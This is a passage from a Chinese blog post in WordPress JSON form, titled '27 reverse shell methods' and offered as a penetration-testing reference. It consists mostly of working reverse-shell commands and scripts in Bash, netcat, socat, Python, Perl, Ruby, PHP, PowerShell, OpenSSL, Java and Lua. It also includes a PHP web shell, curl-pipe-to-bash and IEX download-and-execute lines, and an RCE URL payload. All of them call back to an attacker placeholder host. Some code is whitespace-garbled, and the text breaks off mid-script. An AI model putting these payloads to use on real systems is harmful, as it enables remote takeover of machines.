{"id":759,"date":"2025-10-24T15:01:36","date_gmt":"2025-10-24T07:01:36","guid":{"rendered":"https:\/\/www.youvii.site\/?p=759"},"modified":"2025-10-24T15:01:36","modified_gmt":"2025-10-24T07:01:36","slug":"27zhongfandanshellfangfa","status":"publish","type":"post","link":"https:\/\/www.youvii.site\/index.php\/archives\/27zhongfandanshellfangfa","title":{"rendered":"27\u79cd\u53cd\u5f39shell\u65b9\u6cd5"},"content":{"rendered":"<h1>27\u79cd\u53cd\u5f39shell\u65b9\u6cd5<\/h1>\n<p>\u5728\u6e17\u900f\u6d4b\u8bd5\u7684\u5b9e\u8df5\u4e2d\uff0c\u53cd\u5f39shell\uff08Reverse Shell\uff09\u662f\u4e00\u9879\u81f3\u5173\u91cd\u8981\u7684\u6280\u672f\uff0c\u5141\u8bb8\u653b\u51fb\u8005\u4ece\u8fdc\u7a0b\u4f4d\u7f6e\u83b7\u5f97\u5bf9\u76ee\u6807\u7cfb\u7edf\u7684\u4ea4\u4e92\u5f0f\u547d\u4ee4\u884c\u8bbf\u95ee\u6743\u9650\u3002\u8fd9\u4e00\u6280\u672f\u901a\u8fc7\u5728\u88ab\u653b\u51fb\u7cfb\u7edf\u4e0a\u6267\u884c\u7279\u5b9a\u547d\u4ee4\uff0c\u5c06shell\u4f1a\u8bdd\u53cd\u5411\u4f20\u8f93\u5230\u653b\u51fb\u8005\u63a7\u5236\u7684\u673a\u5668\u4e0a\uff0c\u4ece\u800c\u7ed5\u8fc7\u9632\u706b\u5899\u7b49\u5b89\u5168\u673a\u5236\u7684\u9650\u5236\u3002\u672c\u6587\u5c06\u8be6\u7ec6\u63a2\u8ba8\u6e17\u900f\u6d4b\u8bd5\u4e2d\u53cd\u5f39shell\u768427\u79cd\u65b9\u6cd5\uff0c\u4f46\u9274\u4e8e\u7bc7\u5e45\u548c\u5b9e\u9645\u64cd\u4f5c\u7684\u5b89\u5168\u6027\u8003\u8651\uff0c\u5c06\u91cd\u70b9\u4ecb\u7ecd\u90e8\u5206\u9ad8\u9891\u4f7f\u7528\u7684\u59ff\u52bf\uff0c\u4ec5\u4f9b\u53c2\u8003\u3002<\/p>\n<h1>1. Bash\u53cd\u5f39<\/h1>\n<p>Bash\u53cd\u5f39\u662f\u6700\u5e38\u89c1\u4e14\u6613\u4e8e\u7406\u89e3\u7684\u53cd\u5f39shell\u65b9\u6cd5\u4e4b\u4e00\u3002\u5229\u7528Bash\u7684\u7279\u6b8a\u8bbe\u5907\/dev\/tcp\uff0c\u53ef\u4ee5\u8f7b\u677e\u5730\u5efa\u7acbTCP\u8fde\u63a5\u5e76\u4f20\u8f93\u6570\u636e\u3002<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-python\"># \u653b\u51fb\u8005\u4e3b\u673a\u4e0a\u6267\u884c\u76d1\u542c\nnc -lvvp port\n# \u76ee\u6807\u4e3b\u673a\u4e0a\u6267\u884c\nbash -i &gt;&amp; \/dev\/tcp\/x.x.x.x\/port 0&gt;&amp;1\n\u5176\u4e2dx.x.x.x\u4e3a\u653b\u51fb\u8005\u673a\u5668\u7684IP\u5730\u5740\uff0cport\u4e3a\u76d1\u542c\u7684\u7aef\u53e3\u3002<\/code><\/pre>\n<h1>2. Netcat\u53cd\u5f39<\/h1>\n<p>Netcat\uff08nc\uff09\u662f\u4e00\u4e2a\u529f\u80fd\u5f3a\u5927\u7684\u7f51\u7edc\u5de5\u5177\uff0c\u7528\u4e8e\u8bfb\u5199TCP\u548cUDP\u8fde\u63a5\u3002\u5728\u53cd\u5f39shell\u4e2d\uff0cNetcat\u5e38\u88ab\u7528\u4f5c\u76d1\u542c\u548c\u8fde\u63a5\u7684\u5de5\u5177\u3002<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-python\"># \u653b\u51fb\u8005\u4e3b\u673a\u4e0a\u6267\u884c\u76d1\u542c\nnc -lvvp port\n# \u76ee\u6807\u4e3b\u673a\u4e0a\u6267\u884c\nnc -e \/bin\/bash x.x.x.x port<\/code><\/pre>\n<p>\u5982\u679c\u76ee\u6807\u7cfb\u7edf\u6ca1\u6709-e\u53c2\u6570\uff0c\u53ef\u4ee5\u4f7f\u7528\u547d\u540d\u7ba1\u9053\uff08FIFO\uff09\u6765\u7ed5\u8fc7\u9650\u5236\u3002<\/p>\n<h1>3. Telnet\u53cd\u5f39<\/h1>\n<p>Telnet\u534f\u8bae\u7528\u4e8e\u8fdc\u7a0b\u767b\u5f55\u670d\u52a1\uff0c\u5c3d\u7ba1\u5b89\u5168\u6027\u8f83\u4f4e\uff0c\u4f46\u5728\u7279\u5b9a\u573a\u666f\u4e0b\u4ecd\u53ef\u7528\u4e8e\u53cd\u5f39shell\u3002<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-python\"># \u653b\u51fb\u8005\u4e3b\u673a\u4e0a\u6253\u5f00\u4e24\u4e2a\u7ec8\u7aef\u5206\u522b\u6267\u884c\u76d1\u542c\nnc -lvvp 4444\nnc -lvvp 5555\n# \u76ee\u6807\u4e3b\u673a\u4e2d\u6267\u884c\ntelnet x.x.x.x 4444 | \/bin\/bash | telnet x.x.x.x 5555<\/code><\/pre>\n<p>\u8fd9\u79cd\u65b9\u6cd5\u5229\u7528\u4e86\u4e24\u4e2a\u7aef\u53e3\u5206\u522b\u7528\u4e8e\u8f93\u5165\u548c\u8f93\u51fa\u3002<\/p>\n<h1>4. Socat\u53cd\u5f39<\/h1>\n<p>Socat\u662f\u4e00\u4e2a\u591a\u529f\u80fd\u7684\u7f51\u7edc\u5de5\u5177\uff0c\u529f\u80fd\u7c7b\u4f3c\u4e8eNetcat\u7684\u52a0\u5f3a\u7248\u3002<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-python\"># \u653b\u51fb\u8005\u4e3b\u673a\u4e0a\u6267\u884c\u76d1\u542c\nsocat TCP-LISTEN:port,fork -\n# \u76ee\u6807\u4e3b\u673a\u4e0a\u6267\u884c\nsocat tcp-connect:x.x.x.x:port exec:'bash -li',pty,stderr,setsid,sigint,sane<\/code><\/pre>\n<p>Socat\u63d0\u4f9b\u4e86\u66f4\u591a\u7684\u9009\u9879\u548c\u7075\u6d3b\u6027\uff0c\u5982pty\uff08\u4f2a\u7ec8\u7aef\uff09\u7b49\u3002<\/p>\n<h1>5. Python\u53cd\u5f39<\/h1>\n<p>Python\u811a\u672c\u8bed\u8a00\u56e0\u5176\u5f3a\u5927\u7684\u7f51\u7edc\u5e93\u548c\u8de8\u5e73\u53f0\u7279\u6027\uff0c\u5728\u53cd\u5f39shell\u4e2d\u4e5f\u975e\u5e38\u6709\u7528\u3002<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-python\"># \u76ee\u6807\u4e3b\u673a\u4e0a\u6267\u884c\npython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"x.x.x.x\",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.call([\"\/bin\/bash\",\"-i\"]);'<\/code><\/pre>\n<p>\u8fd9\u6bb5Python\u4ee3\u7801\u521b\u5efa\u4e86\u4e00\u4e2asocket\u8fde\u63a5\uff0c\u5e76\u5c06\u6807\u51c6\u8f93\u5165\u3001\u8f93\u51fa\u548c\u9519\u8bef\u8f93\u51fa\u91cd\u5b9a\u5411\u5230\u8be5\u8fde\u63a5\u3002<\/p>\n<h1>6. Perl\u53cd\u5f39<\/h1>\n<p>Perl\u662f\u4e00\u79cd\u529f\u80fd\u4e30\u5bcc\u7684\u7f16\u7a0b\u8bed\u8a00\uff0c\u9002\u7528\u4e8e\u5404\u79cd\u4efb\u52a1\uff0c\u5305\u62ec\u7f51\u7edc\u7f16\u7a0b\u3002<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-python\"># \u76ee\u6807\u4e3b\u673a\u4e0a\u6267\u884c\nperl -e 'use Socket;$i=\"x.x.x.x\";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\"&gt;&amp;S\");open(STDOUT,\"&gt;&amp;S\");open(STDERR,\"&gt;&amp;S\");exec(\"\/bin\/sh -i\");};'<\/code><\/pre>\n<p>\u8fd9\u6bb5Perl\u4ee3\u7801\u5efa\u7acb\u4e86TCP\u8fde\u63a5\uff0c\u5e76\u91cd\u5b9a\u5411\u4e86\u6807\u51c6\u8f93\u5165\u3001\u8f93\u51fa\u548c\u9519\u8bef\u8f93\u51fa\u3002<\/p>\n<h1>7. Ruby\u53cd\u5f39<\/h1>\n<p>Ruby\u662f\u4e00\u79cd\u7b80\u5355\u5feb\u6377\u7684\u9762\u5411\u5bf9\u8c61\u811a\u672c\u8bed\u8a00\uff0c\u4e5f\u5e38\u7528\u4e8e\u53cd\u5f39shell\u3002<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-python\"># \u76ee\u6807\u4e3b\u673a\u4e0a\u6267\u884c\nruby -rsocket -e 'c=TCPSocket.new(\"x.x.x.x\",\"port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'<\/code><\/pre>\n<p>\u8fd9\u6bb5Ruby\u4ee3\u7801\u521b\u5efa\u4e86\u4e00\u4e2aTCP\u8fde\u63a5\uff0c\u5e76\u8bfb\u53d6\u653b\u51fb\u8005\u53d1\u9001\u7684\u547d\u4ee4\uff0c\u7136\u540e\u6267\u884c\u5e76\u5c06\u7ed3\u679c\u8fd4\u56de\u3002<\/p>\n<h1>8. PHP\u53cd\u5f39<\/h1>\n<p>PHP\u662f\u670d\u52a1\u5668\u7aef\u6267\u884c\u7684\u811a\u672c\u8bed\u8a00\uff0c\u5c24\u5176\u9002\u7528\u4e8eWeb\u5f00\u53d1\u3002\u5728Web\u73af\u5883\u4e2d\uff0cPHP\u53cd\u5f39shell\u5c24\u5176\u6709\u7528\u3002<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-python\"># \u76ee\u6807\u4e3b\u673a\u4e0a\u6267\u884c\uff08\u5047\u8bbe\u6709Web\u670d\u52a1\u5668\u6743\u9650\uff09\nphp -r '$sock=fsockopen(\"x.x.x.x\",port);exec(\"\/bin\/bash -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3\");'<\/code><\/pre>\n<p>\u8fd9\u6bb5PHP\u4ee3\u7801\u521b\u5efa\u4e86\u4e00\u4e2aTCP\u8fde\u63a5\uff0c\u5e76\u6267\u884cbash shell\uff0c\u5c06\u6807\u51c6\u8f93\u5165\u3001\u8f93\u51fa\u548c\u9519\u8bef\u8f93\u51fa\u91cd\u5b9a\u5411\u5230\u8be5\u8fde\u63a5\u3002<\/p>\n<h1>9. Powershell\u53cd\u5f39\uff08Windows\u73af\u5883\uff09<\/h1>\n<p>\u5728Windows\u73af\u5883\u4e2d\uff0cPowershell\u662f\u4e00\u4e2a\u5f3a\u5927\u7684\u811a\u672c\u5de5\u5177\uff0c\u53ef\u4ee5\u7528\u4e8e\u53cd\u5f39shell\u3002<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-python\"># \u653b\u51fb\u8005\u4e3b\u673a\u4e0a\u6267\u884c\u76d1\u542c\uff08\u4f7f\u7528Powercat\u811a\u672c\uff09\npowershell IEX (New-Object System.Net.WebClient).DownloadString('http:\/\/x.x.x.x:port\/powercat.ps1'); powercat -c x.x.x.x -p port -e cmd\n# \u76ee\u6807\u4e3b\u673a\u4e0a\u6267\u884c\uff08\u5047\u8bbe\u53ef\u4ee5\u4e0b\u8f7d\u5e76\u6267\u884cPowercat\u811a\u672c\uff09<\/code><\/pre>\n<p>Powercat\u662f\u4e00\u4e2apowershell\u51fd\u6570\uff0c\u53ef\u4ee5\u4ece\u8fdc\u7a0b\u670d\u52a1\u5668\u4e0b\u8f7d\u5e76\u6267\u884c\u3002<\/p>\n<h1>10. OpenSSL\u53cd\u5f39<\/h1>\n<p>OpenSSL\u662f\u4e00\u4e2a\u5f3a\u5927\u7684\u52a0\u5bc6\u5e93\uff0c\u4e5f\u53ef\u4ee5\u7528\u4e8e\u53cd\u5f39shell\u3002<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-python\"># \u653b\u51fb\u8005\u4e3b\u673a\u4e0a\u751f\u6210\u5bc6\u94a5\u5e76\u542f\u7528\u76d1\u542c\nopenssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes\nopenssl s_server -quiet -key key.pem -cert cert.pem -port port\n# \u76ee\u6807\u4e3b\u673a\u4e0a\u6267\u884c\nmkfifo \/tmp\/s; \/bin\/sh -i &lt; \/tmp\/s 2&gt;&amp;1 | openssl s_client -quiet -connect x.x.x.x:port &gt; \/tmp\/s; rm \/tmp\/s<\/code><\/pre>\n<p>\u8fd9\u79cd\u65b9\u6cd5\u5229\u7528OpenSSL\u751f\u6210\u81ea\u7b7e\u540d\u8bc1\u4e66\uff0c\u5e76\u901a\u8fc7TLS\/SSL\u96a7\u9053\u4f20\u8f93shell\u4f1a\u8bdd\u3002<\/p>\n<h1>11. Java\u53cd\u5f39<\/h1>\n<p>Java\u53cd\u5f39shell\u901a\u5e38\u6d89\u53ca\u5230\u521b\u5efa\u4e00\u4e2aSocket\u8fde\u63a5\uff0c\u5e76\u901a\u8fc7\u8be5\u8fde\u63a5\u6267\u884c\u547d\u4ee4\u3002\u4ee5\u4e0b\u662f\u4e00\u4e2a\u7b80\u5355\u7684Java\u53cd\u5f39shell\u793a\u4f8b\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-python\">import java.io.*;\nimport java.net.*;\n\npublicclassReverseShell{\npublicstaticvoidmain(String[] args){\nStringhost=\"x.x.x.x\";\/\/ \u653b\u51fb\u8005IP\nintport=1234;\/\/ \u76d1\u542c\u7aef\u53e3\n\ntry(Socketsocket=newSocket(host, port);\nBufferedReaderin=newBufferedReader(newInputStreamReader(socket.getInputStream()));\nPrintWriterout=newPrintWriter(socket.getOutputStream(),true);\nBufferedReaderstdIn=newBufferedReader(newInputStreamReader(System.in));\nBufferedWriterstdOut=newBufferedWriter(newOutputStreamWriter(System.out))){\n\n\/\/ \u7ebf\u7a0b\u7528\u4e8e\u8bfb\u53d6\u653b\u51fb\u8005\u7684\u547d\u4ee4\u5e76\u6267\u884c\nnewThread(()-&gt;{\ntry{\nString command;\nwhile((command = in.readLine())!=null){\nProcessprocess=Runtime.getRuntime().exec(command);\n\n\/\/ \u83b7\u53d6\u547d\u4ee4\u8f93\u51fa\ntry(BufferedReaderprocessIn=newBufferedReader(newInputStreamReader(process.getInputStream()));\nBufferedReaderprocessError=newBufferedReader(newInputStreamReader(process.getErrorStream()))){\n\nString line;\nwhile((line = processIn.readLine())!=null){\n                                out.println(line);\n}\nwhile((line = processError.readLine())!=null){\n                                out.println(line);\n}\n}\n}\n}catch(Exception e){\n                    e.printStackTrace();\n}\n}).start();\n\n\/\/ \u7ebf\u7a0b\u7528\u4e8e\u5c06\u672c\u5730shell\u7684\u8f93\u51fa\u53d1\u9001\u5230\u653b\u51fb\u8005\nnewThread(()-&gt;{\ntry{\nString line;\nwhile((line = stdIn.readLine())!=null){\n                        out.println(line);\n}\n}catch(IOException e){\n                    e.printStackTrace();\n}\n}).start();\n}catch(IOException e){\n            e.printStackTrace();\n}\n}\n}<\/code><\/pre>\n<p>\u7f16\u8bd1\u5e76\u8fd0\u884c\u6b64Java\u7a0b\u5e8f\u540e\uff0c\u5c06\u5728\u6307\u5b9a\u7684\u653b\u51fb\u8005IP\u548c\u7aef\u53e3\u4e0a\u5efa\u7acb\u8fde\u63a5\uff0c\u5e76\u5141\u8bb8\u653b\u51fb\u8005\u6267\u884c\u547d\u4ee4\u3002<\/p>\n<h1>12. Lua\u53cd\u5f39<\/h1>\n<p>Lua\u662f\u4e00\u79cd\u8f7b\u91cf\u7ea7\u7684\u811a\u672c\u8bed\u8a00\uff0c\u4e5f\u53ef\u4ee5\u7528\u4e8e\u521b\u5efa\u53cd\u5f39shell\u3002\u4ee5\u4e0b\u662f\u4e00\u4e2aLua\u53cd\u5f39shell\u7684\u793a\u4f8b\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-python\">local host =\"x.x.x.x\"\nlocal port =1234\n\nlocal socket =require(\"socket\")\nlocal tcp = socket.tcp()\ntcp:connect(host, port)\n\nlocalfunction read_command()\nlocal command = tcp:receive(\"*l\")\nreturn command\nend\n\nlocalfunction execute_command(command)\nlocal file =io.popen(command)\nlocaloutput= file:read(\"*all\")\n    file:close()\n    tcp:send(output..\"n\")\nend\n\nwhiletruedo\nlocal command = read_command()\nif command ==nilthenbreakend\n    execute_command(command)\nend\n\ntcp:close()<\/code><\/pre>\n<p>\u8bf7\u6ce8\u610f\uff0cLua\u6807\u51c6\u5e93\u4e0d\u5305\u542bsocket\u6a21\u5757\uff0c\u56e0\u6b64\u5728\u5b9e\u9645\u4f7f\u7528\u4e2d\uff0c\u53ef\u80fd\u9700\u8981\u5b89\u88c5\u4e00\u4e2a\u989d\u5916\u7684Lua socket\u5e93\u3002<\/p>\n<h1>13. Nishang\u6846\u67b6\uff08PowerShell\uff09<\/h1>\n<p>Nishang\u662f\u4e00\u4e2a\u7528\u4e8e\u6e17\u900f\u6d4b\u8bd5\u7684PowerShell\u653b\u51fb\u6846\u67b6\uff0c\u63d0\u4f9b\u4e86\u591a\u79cd\u53cd\u5f39shell\u811a\u672c\u3002\u4ee5\u4e0b\u662f\u4e00\u4e2a\u4f7f\u7528Nishang\u7684Invoke-ReverseTCPShell\u811a\u672c\u7684\u793a\u4f8b\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-python\"># \u5728\u653b\u51fb\u8005\u673a\u5668\u4e0a\u76d1\u542c\nIEX (New-Object Net.WebClient).DownloadString('http:\/\/x.x.x.x\/Invoke-PowerShellTcp.ps1')\nInvoke-PowerShellTcp -Reverse -IPAddress x.x.x.x -Port 1234\n\n# \u5728\u76ee\u6807\u673a\u5668\u4e0a\u6267\u884c\uff08\u5047\u8bbe\u53ef\u4ee5\u4e0b\u8f7d\u5e76\u6267\u884c\u811a\u672c\uff09\nIEX (New-Object Net.WebClient).DownloadString('http:\/\/x.x.x.x\/Invoke-ReverseTcpShell.ps1')\nInvoke-ReverseTcpShell -IPAddress x.x.x.x -Port 1234<\/code><\/pre>\n<p>\u5728\u5b9e\u9645\u4f7f\u7528\u4e2d\uff0c\u9700\u8981\u5c06Invoke-PowerShellTcp.ps1\u548cInvoke-ReverseTcpShell.ps1\u811a\u672c\u4e0a\u4f20\u5230Web\u670d\u52a1\u5668\u4e0a\uff0c\u5e76\u786e\u4fdd\u76ee\u6807\u673a\u5668\u53ef\u4ee5\u8bbf\u95ee\u8fd9\u4e9b\u811a\u672c\u3002<\/p>\n<h1>14. \u4f7f\u7528Web\u670d\u52a1\u5668<\/h1>\n<p>\u901a\u8fc7\u4e0a\u4f20\u5305\u542b\u53cd\u5f39shell\u4ee3\u7801\u7684Web\u811a\u672c\uff0c\u5e76\u5229\u7528Web\u670d\u52a1\u5668\u6267\u884c\uff0c\u662f\u4e00\u79cd\u5e38\u89c1\u7684\u53cd\u5f39shell\u65b9\u6cd5\u3002\u4ee5\u4e0b\u662f\u4e00\u4e2a\u7b80\u5355\u7684PHP\u53cd\u5f39shell\u793a\u4f8b\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-python\">&lt;?php\n$ip='x.x.x.x';\/\/ \u653b\u51fb\u8005IP\n$port=1234;\/\/ \u76d1\u542c\u7aef\u53e3\n$sock=fsockopen($ip,$port);\n$proc=proc_open('\/bin\/bash -i',array(0=&gt;$sock,1=&gt;$sock,2=&gt;$sock),$pipes);\n?&gt;<\/code><\/pre>\n<p>\u5c06\u6b64PHP\u811a\u672c\u4e0a\u4f20\u5230\u76ee\u6807Web\u670d\u52a1\u5668\u7684\u53ef\u8bbf\u95ee\u76ee\u5f55\u4e2d\uff0c\u5e76\u901a\u8fc7\u6d4f\u89c8\u5668\u8bbf\u95ee\u8be5\u811a\u672c\uff0c\u5373\u53ef\u5efa\u7acb\u53cd\u5f39shell\u8fde\u63a5\u3002<\/p>\n<h1>15. \u5229\u7528\u7cfb\u7edf\u5de5\u5177\uff08\u5982curl\u6216wget\uff09<\/h1>\n<p>\u5229\u7528curl\u6216wget\u7b49\u5de5\u5177\u4e0b\u8f7d\u5e76\u6267\u884c\u53cd\u5f39shell\u811a\u672c\u4e5f\u662f\u4e00\u79cd\u5e38\u89c1\u7684\u65b9\u6cd5\u3002\u4ee5\u4e0b\u662f\u4e00\u4e2a\u4f7f\u7528curl\u4e0b\u8f7d\u5e76\u6267\u884c\u53cd\u5f39shell\u811a\u672c\u7684\u793a\u4f8b\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-python\"># \u5728\u653b\u51fb\u8005\u673a\u5668\u4e0a\u521b\u5efa\u4e00\u4e2a\u7b80\u5355\u7684bash\u53cd\u5f39shell\u811a\u672c\uff0c\u5e76\u5c06\u5176\u6258\u7ba1\u5728Web\u670d\u52a1\u5668\u4e0a\necho 'bash -i &gt;&amp; \/dev\/tcp\/x.x.x.x\/1234 0&gt;&amp;1' &gt; reverse_shell.sh\npython3 -m http.server 80  # \u4f7f\u7528Python\u7684HTTP\u670d\u52a1\u5668\u6258\u7ba1\u811a\u672c\n\n# \u5728\u76ee\u6807\u673a\u5668\u4e0a\u6267\u884ccurl\u547d\u4ee4\u4e0b\u8f7d\u5e76\u6267\u884c\u53cd\u5f39shell\u811a\u672c\ncurl http:\/\/x.x.x.x\/reverse_shell.sh | bash<\/code><\/pre>\n<h1>16. \u5229\u7528\u6f0f\u6d1e\uff08\u5982\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\uff09<\/h1>\n<p>\u5982\u679c\u76ee\u6807\u7cfb\u7edf\u5b58\u5728\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\uff08RCE\uff09\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u76f4\u63a5\u5229\u7528\u8be5\u6f0f\u6d1e\u6267\u884c\u53cd\u5f39shell\u547d\u4ee4\u3002\u4ee5\u4e0b\u662f\u4e00\u4e2a\u5047\u8bbe\u7684\u5229\u7528RCE\u6f0f\u6d1e\u6267\u884c\u53cd\u5f39shell\u547d\u4ee4\u7684\u793a\u4f8b\uff1a<\/p>\n<h1>\u5047\u8bbe\u76ee\u6807\u7cfb\u7edf\u6709\u4e00\u4e2aRCE\u6f0f\u6d1e\uff0c\u53ef\u4ee5\u901a\u8fc7URL\u53c2\u6570\u6267\u884c\u4efb\u610f\u547d\u4ee4<\/h1>\n<h1>\u4f8b\u5982\uff1a<a href=\"http:\/\/target.com\/vulnerable_page.php?cmd=whoami\">http:\/\/target.com\/vulnerable_page.php?cmd=whoami<\/a><\/h1>\n<h1>\u6784\u9020\u53cd\u5f39shell\u547d\u4ee4\u5e76\u901a\u8fc7RCE\u6f0f\u6d1e\u6267\u884c<\/h1>\n<p>curl &quot;<a href=\"http:\/\/target.com\/vulnerable_page.php?cmd=bash+-i+&gt;&amp;+\/dev\/tcp\/x.x.x.x\/1234+0&gt;&amp;1&quot;\">http:\/\/target.com\/vulnerable_page.php?cmd=bash+-i+&gt;&amp;+\/dev\/tcp\/x.x.x.x\/1234+0&gt;&amp;1&quot;<\/a><\/p>\n<p>\u5b9e\u9645\u7684RCE\u6f0f\u6d1e\u5229\u7528\u53ef\u80fd\u9700\u8981\u6839\u636e\u6f0f\u6d1e\u7684\u5177\u4f53\u60c5\u51b5\u8fdb\u884c\u8c03\u6574\u3002<\/p>\n<h1>17. \u81ea\u5b9a\u4e49\u811a\u672c<\/h1>\n<p>\u6839\u636e\u76ee\u6807\u7cfb\u7edf\u7684\u73af\u5883\u548c\u6743\u9650\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u7f16\u5199\u81ea\u5b9a\u4e49\u7684\u53cd\u5f39shell\u811a\u672c\u3002\u4ee5\u4e0b\u662f\u4e00\u4e2a\u7b80\u5355\u7684\u81ea\u5b9a\u4e49Python\u53cd\u5f39shell\u811a\u672c\u793a\u4f8b\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-python\">import os\nimport socket\n\nhost ='x.x.x.x'# \u653b\u51fb\u8005IP\nport =1234# \u76d1\u542c\u7aef\u53e3\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((host, port))\n\nos.dup2(s.fileno(),0)# stdin\nos.dup2(s.fileno(),1)# stdout\nos.dup2(s.fileno(),2)# stderr\n\nos.system('\/bin\/bash -i')<\/code><\/pre>\n<p>\u5c06\u6b64\u811a\u672c\u4e0a\u4f20\u5230\u76ee\u6807\u7cfb\u7edf\u5e76\u6267\u884c\uff0c\u5373\u53ef\u5efa\u7acb\u53cd\u5f39shell\u8fde\u63a5\u3002<\/p>\n<h1>18. \u4f7f\u7528Python\u7684pty\u5e93\u6a21\u62df\u7ec8\u7aef<\/h1>\n<p>Python\u7684pty\u5e93\u53ef\u4ee5\u7528\u4e8e\u6a21\u62df\u4f2a\u7ec8\u7aef\uff08pseudo-terminal\uff09\uff0c\u4ece\u800c\u63d0\u4f9b\u66f4\u771f\u5b9e\u7684shell\u4f53\u9a8c\u3002<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-python\">import os\nimport pty\nimport socket\n\nhost ='x.x.x.x'\nport =1234\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((host, port))\n\n# \u4f7f\u7528pty\u6a21\u62df\u7ec8\u7aef\nmaster, slave = pty.openpty()\nos.dup2(slave.fileno(),0)\nos.dup2(slave.fileno(),1)\nos.dup2(slave.fileno(),2)\n\nos.execvp('\/bin\/bash',['\/bin\/bash','-i'])\n\n# \u6ce8\u610f\uff1a\u5728\u5b9e\u9645\u4f7f\u7528\u4e2d\uff0c\u53ef\u80fd\u9700\u8981\u5728\u653b\u51fb\u8005\u7aef\u4f7f\u7528\u7c7b\u4f3cscreen\u6216tmux\u7684\u5de5\u5177\u6765\u7ba1\u7406pty\u4f1a\u8bdd<\/code><\/pre>\n<h1>19. \u5229\u7528Python\u7684paramiko\u5e93\u8fdb\u884cSSH\u53cd\u5f39<\/h1>\n<p>\u5982\u679c\u76ee\u6807\u7cfb\u7edf\u5141\u8bb8SSH\u8fde\u63a5\uff0c\u5e76\u4e14\u653b\u51fb\u8005\u62e5\u6709\u76f8\u5e94\u7684\u51ed\u636e\uff0c\u90a3\u4e48\u53ef\u4ee5\u4f7f\u7528paramiko\u5e93\u8fdb\u884cSSH\u53cd\u5f39\u3002<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-python\">import paramiko\nimport subprocess\nimport os\n\n# \u653b\u51fb\u8005\u7aef\u8bbe\u7f6eSSH\u670d\u52a1\u5668\u76d1\u542c\n# \u9700\u8981\u4e00\u4e2a\u5916\u90e8\u7684SSH\u670d\u52a1\u5668\u6216\u8005\u4f7f\u7528Python\u7684SSH\u5e93\uff08\u5982paramiko\u7684ServerInterface\uff09\u6765\u6a21\u62df\n# \u8fd9\u91cc\u5047\u8bbe\u5df2\u7ecf\u6709\u4e00\u4e2aSSH\u670d\u52a1\u5668\u5728\u76d1\u542c\n\n# \u76ee\u6807\u7aef\u6267\u884c\u4ee5\u4e0bPython\u4ee3\u7801\nhostname ='x.x.x.x'# \u653b\u51fb\u8005SSH\u670d\u52a1\u5668IP\nport =22\nusername ='attacker_user'\npassword ='attacker_password'\n\nclient = paramiko.SSHClient()\nclient.set_missing_host_key_policy(paramiko.AutoAddPolicy())\nclient.connect(hostname, port, username, password)\n\n# \u5f00\u542f\u4e00\u4e2a\u53cd\u5411\u96a7\u9053\ntransport = client.get_transport()\nchan = transport.open_session()\nchan.invoke_shell()\n\n# \u5c06\u6807\u51c6\u8f93\u5165\u3001\u8f93\u51fa\u548c\u9519\u8bef\u8f93\u51fa\u91cd\u5b9a\u5411\u5230\u8be5SSH\u4f1a\u8bdd\nos.dup2(chan.makefile('wb',-1).fileno(),1)\nos.dup2(chan.makefile('rb',-1).fileno(),0)\nos.dup2(chan.makefile_stderr('rb',-1).fileno(),2)\n\n# \u542f\u52a8bash shell\nos.execvp('\/bin\/bash',['\/bin\/bash','-i'])<\/code><\/pre>\n<p>\u6ce8\u610f\uff1a\u8fd9\u79cd\u65b9\u6cd5\u9700\u8981\u653b\u51fb\u8005\u63a7\u5236\u4e00\u4e2aSSH\u670d\u52a1\u5668\uff0c\u5e76\u4e14\u76ee\u6807\u7cfb\u7edf\u5141\u8bb8SSH\u8fde\u63a5\u3002\u6b64\u5916\uff0c\u7531\u4e8eparamiko\u7684ServerInterface\u6bd4\u8f83\u590d\u6742\uff0c\u8fd9\u91cc\u5047\u8bbe\u5df2\u7ecf\u6709\u4e00\u4e2aSSH\u670d\u52a1\u5668\u5728\u76d1\u542c\u3002<\/p>\n<h1>20. \u4f7f\u7528Perl\u7684IO::Socket\u6a21\u5757<\/h1>\n<p>Perl\u7684IO::Socket\u6a21\u5757\u53ef\u4ee5\u7528\u4e8e\u521b\u5efa\u7f51\u7edc\u8fde\u63a5\uff0c\u4ece\u800c\u5b9e\u73b0\u53cd\u5f39shell\u3002<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-python\">#!\/usr\/bin\/perl -w\nuse strict;\nuse IO::Socket::INET;\nmy $remote_ip ='x.x.x.x';# \u653b\u51fb\u8005IP\nmy $remote_port =1234;# \u76d1\u542c\u7aef\u53e3\nmy $sock = IO::Socket::INET-&gt;new(PeerAddr =&gt; $remote_ip,PeerPort =&gt; $remote_port,Proto 